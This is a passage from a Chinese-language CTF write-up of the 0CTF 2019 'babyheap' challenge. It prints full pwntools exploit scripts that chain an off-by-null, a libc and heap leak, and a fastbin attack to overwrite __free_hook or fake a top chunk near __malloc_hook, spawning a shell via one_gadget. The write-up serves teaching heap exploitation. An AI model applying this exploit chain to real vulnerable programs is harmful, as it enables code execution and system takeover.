delete(i)

for i in range(7):
add(0x38)
update(i,0x38,'b'*0x38)
for i in range(7):
delete(i)

for i in range(8):
add(0x48)
update(i,0x48,str(i)*0x48)
for i in range(7):
delete(i)

##add chunk 7 0x50
for i in range(4): #0~3
add(0x38)
update(i,0x38,str(i)*0x38)
add(0x38) #4
payload = p64(0)*4 + p64(0x100) + p64(0x60) + p64(0)
update(4,0x38,payload)
#update(4,0x38,'4'*0x38)

add(0x48) #5
update(5,0x48,'5'*0x48)
add(0x38) #6
update(6,0x38,'6'*0x38)


for i in range(5): #0~4 fastbin 0x40
delete(i)


add(0x58) #0
add(0x58) #1

##top chunk 0x40
##malloc_consolidate fastbin 0x40*(0~4) into unsorted bin
##unsorted bin:0x140
add(0x28) #2
##unsorted bin:0x140-0x30=0x110
update(2,0x28,'6'*0x28) #off by null 0x110->0x100

delete(5) #0x50 put into fastbin 0x50

add(0x38) #3
add(0x38) #4
add(0x38) #5
add(0x38) #8

##unsort bin:0x0
delete(3)
delete(4)

#gdb.attach(p)
add(0x28) #3

##chunk 4 5 into unsorted bin
##unsorted bin:0x850 size:0x130
##chunk 4:0x860 chunk 5:0x8a0 chunk 8:0x8e0
add(0x48) #4
view(5)
p.recvuntil(": ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
print "leak_addr:",hex(leak_addr)
libc_base = leak_addr - 0x70 - libc.symbols["__malloc_hook"]
print "libc_base:",hex(libc_base)

add(0x48) #9 the same as chunk 5
delete(4)
delete(9)
view(5) #0x8a0
p.recvuntil(": ")
heap_addr = u64(p.recvn(6).ljust(8,'\x00'))
print "heap_addr:",hex(heap_addr)


##fastbin attack
delete(2)
target = libc_base + libc.symbols["__malloc_hook"] + 0x10 + 21
update(5,0x8,p64(target)) #main_arena+21:0x56 fake chunk
add(0x48) #2 the same as chunk 5

#gdb.attach(p)
add(0x48) #4
free_hook = libc_base + libc.symbols["__free_hook"]
payload = '\x00'*3 + p64(0)*7 + p64(free_hook-0xb58)
update(4,len(payload),payload)


##consume unsorted bin
add(0x48) #9
add(0x38) #10
delete(9)
delete(10)

##reach free_hook from free_hook-0xb58
for i in range(7):
add(0x58)

for i in range(7):
delete(9+i)
gdb.attach(p)

old = add(0x58) #9
new = add(0x58) #10

for i in range(21):
delete(old)
update(4,24,p64(0)*3)
old = new
new = add(0x58)

##malloc free_hook
idx = add(0x58)
one_gadget = libc_base + 0x4f322
update(idx,16,p64(0)+p64(one_gadget))

##trigger
delete(3)

p.interactive()

修改top chunk为malloc_hook-0x28

第二种方法是传统的修改top chunk至malloc_hook附近,但是这种方法是realloc_hook修改为one_gadget,然后将malloc_hook修改为一个libc+0x105ae0处的gadget,仅适用于libc-2.28,具体原理可以看这篇博客,我目前也没弄明白,先记录一下这种方法,后续再研究一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
##fake top chunk in malloc_hook-0x28
add(0x38) #9
add(0x48) #10
delete(9)
delete(10)
update(4,0x30,'\x00'*0x30)
#one_gadget = libc_base + 0x10a38c
one_gadget = libc_base + 0x501e3
jump_gadget = libc_base + 0x105ae0
add(0x48) #11
payload = '\x00'*0x10 + p64(one_gadget)+p64(jump_gadget)
update(9,len(payload),payload)

##trigger
add(0x20)

该方法的完整exp如下,其实就是后半部分不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
context.log_level = "debug"

p = process("./babyheap")
#p = process(["./babyheap"],env={"LD_PRELOAD":'./libc-2.28.so'})
#libc = ELF("./libc-2.28.so")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
p.sendlineafter('Command:', '1')
p.sendlineafter('Size:', str(size))

def update(index, size, content):
p.sendlineafter('Command:', '2')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))
#p.sendlineafter('Content: ', content)
p.recvuntil("Content: ")
p.send(content)

def delete(index):
p.sendlineafter('Command:', '3')
p.sendlineafter('Index:', str(index))

def view(index):
p.sendlineafter('Command:', '4')
p.sendlineafter('Index:', str(index))



for i in range(7):
add(0x28)
update(i,0x28,'a'*0x28)
for i in range(7):
delete(i)

for i in range(7):
add(0x38)
update(i,0x38,'b'*0x38)
for i in range(7):
delete(i)

for i in range(8):
add(0x48)
update(i,0x48,str(i)*0x48)
for i in range(7):
delete(i)

##add chunk 7 0x50
for i in range(4): #0~3
add(0x38)
update(i,0x38,str(i)*0x38)
add(0x38) #4
payload = p64(0)*4 + p64(0x100) + p64(0x60) + p64(0)
update(4,0x38,payload)
#update(4,0x38,'4'*0x38)

add(0x48) #5
update(5,0x48,'5'*0x48)
add(0x38) #6
update(6,0x38,'6'*0x38)


for i in range(5): #0~4 fastbin 0x40
delete(i)


add(0x58) #0
add(0x58) #1

##top chunk 0x40
##malloc_consolidate fastbin 0x40*(0~4) into unsorted bin
##unsorted bin:0x140
add(0x28) #2
##unsorted bin:0x140-0x30=0x110
update(2,0x28,'6'*0x28) #off by null 0x110->0x100

delete(5) #0x50 put into fastbin 0x50

#gdb.attach(p)

add(0x38) #3
add(0x38) #4
add(0x38) #5
add(0x38) #8

##unsort bin:0x0
delete(3)
delete(4)

#gdb.attach(p)
add(0x28) #3

##chunk 4 5 into unsorted bin
##unsorted bin:0x850 size:0x130
##chunk 4:0x860 chunk 5:0x8a0 chunk 8:0x8e0
add(0x48) #4
view(5)
p.recvuntil(": ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
print "leak_addr:",hex(leak_addr)
libc_base = leak_addr - 0x70 - libc.symbols["__malloc_hook"]
print "libc_base:",hex(libc_base)


add(0x48) #9 the same as chunk 5
delete(4)
delete(9)
view(5) #0x8a0
p.recvuntil(": ")
heap_addr = u64(p.recvn(6).ljust(8,'\x00'))
print "heap_addr:",hex(heap_addr)

##fastbin attack
delete(2)
target = libc_base + libc.symbols["__malloc_hook"] + 0x10 + 21
update(5,0x8,p64(target)) #main_arena+21:0x56 fake chunk
add(0x48) #2 the same as chunk 5

#gdb.attach(p)
add(0x48) #4
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
payload = '\x00'*3 + p64(0)*7 + p64(malloc_hook-0x28)
update(4,len(payload),payload)

##get shell
##fake top chunk in malloc_hook-0x28
add(0x38) #9
add(0x48) #10
delete(9)
delete(10)
update(4,0x30,'\x00'*0x30)
#one_gadget = libc_base + 0x10a38c
one_gadget = libc_base + 0x501e3
jump_gadget = libc_base + 0x105ae0
add(0x48) #11
payload = '\x00'*0x10 + p64(one_gadget)+p64(jump_gadget)
update(9,len(payload),payload)

##trigger
add(0x20)

p.interactive()

终于完了,最后感谢大佬们的writeup。

参考

http://p4nda.top/2018/04/04/0ctf2018/
http://matshao.com/2019/03/28/Babayheap-2019/
https://sunichi.github.io/2019/03/27/TCTF-2019-babyheap/
https://blog.csdn.net/plus_re/article/details/79265805